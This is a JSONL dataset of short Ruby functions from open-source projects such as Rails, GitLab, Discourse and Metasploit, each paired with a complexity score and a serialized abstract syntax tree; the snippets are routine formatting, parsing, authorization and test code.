{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/document_generator/document_normalizer.rb","start_line":17,"raw_source":"def list(content, list_type)\n        if list_type == :unordered && content.scan('<li>').flatten.length > 15\n          %Q|<p><div id=\\\"long_list\\\"><ul>#{content}<ul></div></p>|\n        elsif list_type == :unordered\n          %Q|<ul>#{content}</ul>|\n        elsif list_type == :ordered\n          %Q|<ol>#{content}</ol>|\n        else\n          content\n        end\n      end","complexity_score":13.63,"ast_json":"{\"type\":\"def\",\"children\":[\"list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"list_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unordered\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"scan\",{\"type\":\"str\",\"children\":[\"<li>\"]}]},\"flatten\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<p><div id=\\\"long_list\\\"><ul>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"<ul></div></p>\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unordered\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<ul>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"</ul>\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ordered\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<ol>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"</ol>\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"310185c8-e404-4ffd-a2b5-18bf09354a53"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_options_test.rb","start_line":213,"raw_source":"def test_inheritable_options_key\n    object = ActiveSupport::InheritableOptions.new(one: \"first value\")\n    object[:two] = \"second value\"\n    object[\"three\"] = \"third value\"\n\n    assert object.key?(:one)\n    assert_not object.key?(\"one\")\n    assert object.key?(:two)\n    assert_not object.key?(\"two\")\n    assert object.key?(:three)\n    assert_not object.key?(\"three\")\n    assert_not object.key?(:four)\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inheritable_options_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"InheritableOptions\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"first value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"two\"]},{\"type\":\"str\",\"children\":[\"second value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"three\"]},{\"type\":\"str\",\"children\":[\"third value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"one\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"str\",\"children\":[\"one\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"two\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"str\",\"children\":[\"two\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"three\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"str\",\"children\":[\"three\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"four\"]}]}]}]}]}","id":"44c4c3e2-fe03-414c-b670-522a2958fd06"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/username_changer.rb","start_line":54,"raw_source":"def self.update_username(\n    user_id:,\n    old_username:,\n    new_username:,\n    avatar_template:,\n    asynchronous: true\n  )\n    args = {\n      user_id: user_id,\n      old_username: old_username,\n      new_username: new_username,\n      avatar_template: avatar_template,\n    }\n\n    if asynchronous\n      Jobs.enqueue(:update_username, args)\n    else\n      Jobs::UpdateUsername.new.execute(args)\n    end\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_username\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user_id\"]},{\"type\":\"kwarg\",\"children\":[\"old_username\"]},{\"type\":\"kwarg\",\"children\":[\"new_username\"]},{\"type\":\"kwarg\",\"children\":[\"avatar_template\"]},{\"type\":\"kwoptarg\",\"children\":[\"asynchronous\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_username\"]},{\"type\":\"lvar\",\"children\":[\"old_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_username\"]},{\"type\":\"lvar\",\"children\":[\"new_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_template\"]},{\"type\":\"lvar\",\"children\":[\"avatar_template\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asynchronous\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"update_username\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"UpdateUsername\"]},\"new\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"58bfd0bb-5291-4c60-8ee4-1c2ba770e531"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb","start_line":78,"raw_source":"def interact_with_channel(channel, raw: false)\n    channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true)\n    channel.on_command_proc = self.on_command_proc if self.on_command_proc\n    channel.on_print_proc   = self.on_print_proc if self.on_print_proc\n    channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true)\n    channel.raw = raw\n\n    channel.interact(input, output)\n    channel.reset_ui\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"interact_with_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"raw\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"InteractiveChannel\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"InteractiveChannel\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_command_proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"on_command_proc=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_command_proc\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_print_proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"on_print_proc=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_print_proc\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"log_output\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"on_log_proc=\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"log_output\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"raw=\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"interact\",{\"type\":\"send\",\"children\":[null,\"input\"]},{\"type\":\"send\",\"children\":[null,\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"reset_ui\"]}]}]}","id":"b6447704-e4aa-421c-b669-a48a8d25b4df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/draft_notes/publish_service.rb","start_line":87,"raw_source":"def capture_diff_note_positions(notes)\n      paths = notes.flat_map do |note|\n        note.diff_file&.paths if note.diff_note?\n      end\n\n      return if paths.empty?\n\n      capture_service = Discussions::CaptureDiffNotePositionService.new(merge_request, paths.compact)\n\n      notes.each do |note|\n        capture_service.execute(note.discussion) if note.diff_note? && note.start_of_discussion?\n      end\n    end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_diff_note_positions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"diff_note?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"diff_file\"]},\"paths\"]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"capture_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discussions\"]},\"CaptureDiffNotePositionService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"compact\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"diff_note?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"start_of_discussion?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capture_service\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"discussion\"]}]},null]}]}]}]}","id":"88fb8f8d-f13c-4b8c-b84a-64efebfdd686"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/request.rb","start_line":641,"raw_source":"def parse_http_accept_header(header)\n        # It would be nice to use filter_map here, but it's Ruby 2.7+\n        parts = header.to_s.split(',')\n\n        parts.map! do |part|\n          part.strip!\n          next if part.empty?\n\n          attribute, parameters = part.split(';', 2)\n          attribute.strip!\n          parameters&.strip!\n          quality = 1.0\n          if parameters and /\\Aq=([\\d.]+)/ =~ parameters\n            quality = $1.to_f\n          end\n          [attribute, quality]\n        end\n\n        parts.compact!\n\n        parts\n      end","complexity_score":23.85,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_http_accept_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"strip!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\"]},{\"type\":\"lvasgn\",\"children\":[\"parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"strip!\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},\"strip!\"]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Aq=([\\\\d.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"parameters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_f\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"quality\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"compact!\"]},{\"type\":\"lvar\",\"children\":[\"parts\"]}]}]}","id":"9da6c8fe-3cc7-4fdd-8bb9-2ee408a8352d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/hook_data/wiki_page_builder.rb","start_line":8,"raw_source":"def build\n        wiki_page\n          .attributes\n          .except(:content)\n          .merge(\n            version_id: wiki_page.version&.id\n          )\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page\"]},\"attributes\"]},\"except\",{\"type\":\"sym\",\"children\":[\"content\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page\"]},\"version\"]},\"id\"]}]}]}]}]}","id":"1d3683a4-2afb-4bc1-b13a-5cb751338809"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/formatters/text_formatter.rb","start_line":47,"raw_source":"def ==(other)\n          other.is_a?(self.class) &&\n            new_line == other.new_line &&\n            old_line == other.old_line &&\n            line_range == other.line_range\n        end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"new_line\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"old_line\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_range\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"line_range\"]}]}]}]}","id":"743f926b-2611-4df3-95b6-5802641ec58e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/validator/nextcloud_compatible_host_validator.rb","start_line":86,"raw_source":"def check_setup_completeness_response(response)\n    return :cannot_be_connected_to if response.error.present?\n    return :op_application_not_installed if response.status.in? 300..399\n    return :cannot_be_connected_to unless response.status.in? 200..299\n    return :authorization_header_missing if read_authorization_header(response) != AUTHORIZATION_HEADER\n\n    nil\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_setup_completeness_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"cannot_be_connected_to\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"in?\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[300]},{\"type\":\"int\",\"children\":[399]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"op_application_not_installed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"in?\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"cannot_be_connected_to\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_authorization_header\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"AUTHORIZATION_HEADER\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorization_header_missing\"]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"5dc797e8-4d84-4daf-8cd1-9c3dafd4bec3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb","start_line":326,"raw_source":"def all_quarter\n      beginning_of_quarter..end_of_quarter\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_quarter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"beginning_of_quarter\"]},{\"type\":\"send\",\"children\":[null,\"end_of_quarter\"]}]}]}","id":"498197db-6850-49fd-9605-48f4b10e6d72"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":442,"raw_source":"def parse(buffer)\n    super do\n      @key = buffer.read_cstring\n      @value = buffer.read_cstring\n    end\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_cstring\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_cstring\"]}]}]}]}]}","id":"b8c5950f-5e3b-4a19-8bfd-0b038ffdecef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/runner.rb","start_line":53,"raw_source":"def within_context_for_database(database)\n            original_db_config = ActiveRecord::Base.connection_db_config\n            # The config only works if passed a string\n            db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: database.to_s)\n            raise ArgumentError, \"Cannot find a database configuration for #{database}\" unless db_config\n\n            ActiveRecord::Base.establish_connection(db_config) # rubocop:disable Database/EstablishConnection\n\n            yield\n          ensure\n            ActiveRecord::Base.establish_connection(original_db_config) # rubocop:disable Database/EstablishConnection\n          end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"within_context_for_database\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_db_config\"]}]},{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot find a database configuration for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"lvar\",\"children\":[\"db_config\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"lvar\",\"children\":[\"original_db_config\"]}]}]}]}","id":"7edd5fed-61f1-4916-b1ef-e66e1decd208"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/base.rb","start_line":113,"raw_source":"def validate_only_one_value(errors)\n    if !multi_value? && values.length > 1\n      errors.add :actions,\n                 :only_one_allowed,\n                 name: human_name\n    end\n  end","complexity_score":11.03,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_only_one_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multi_value?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"sym\",\"children\":[\"only_one_allowed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"human_name\"]}]}]}]},null]}]}","id":"42edf569-f076-45b8-ab92-c5c598703d8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/snippets/notes_controller.rb","start_line":45,"raw_source":"def authorize_create_note!\n    access_denied! unless can?(current_user, :create_note, noteable)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_create_note!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_note\"]},{\"type\":\"send\",\"children\":[null,\"noteable\"]}]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"3b7d0418-5c62-4056-922b-32aedc190439"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_belongs_to_test.rb","start_line":110,"raw_source":"def test_cache_belongs_to_with_scope\n    AssociatedRecord.belongs_to(:item_with_scope, -> { where.not(timestamp: nil) },\n      class_name: \"Item\", foreign_key: \"item_id\")\n    assert_raises(IdentityCache::UnsupportedAssociationError) do\n      AssociatedRecord.cache_belongs_to(:item_with_scope)\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_belongs_to_with_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"item_with_scope\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"str\",\"children\":[\"item_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"UnsupportedAssociationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"cache_belongs_to\",{\"type\":\"sym\",\"children\":[\"item_with_scope\"]}]}]}]}]}","id":"90c2ad0f-6478-4630-a9f4-5ea9b777ca09"}
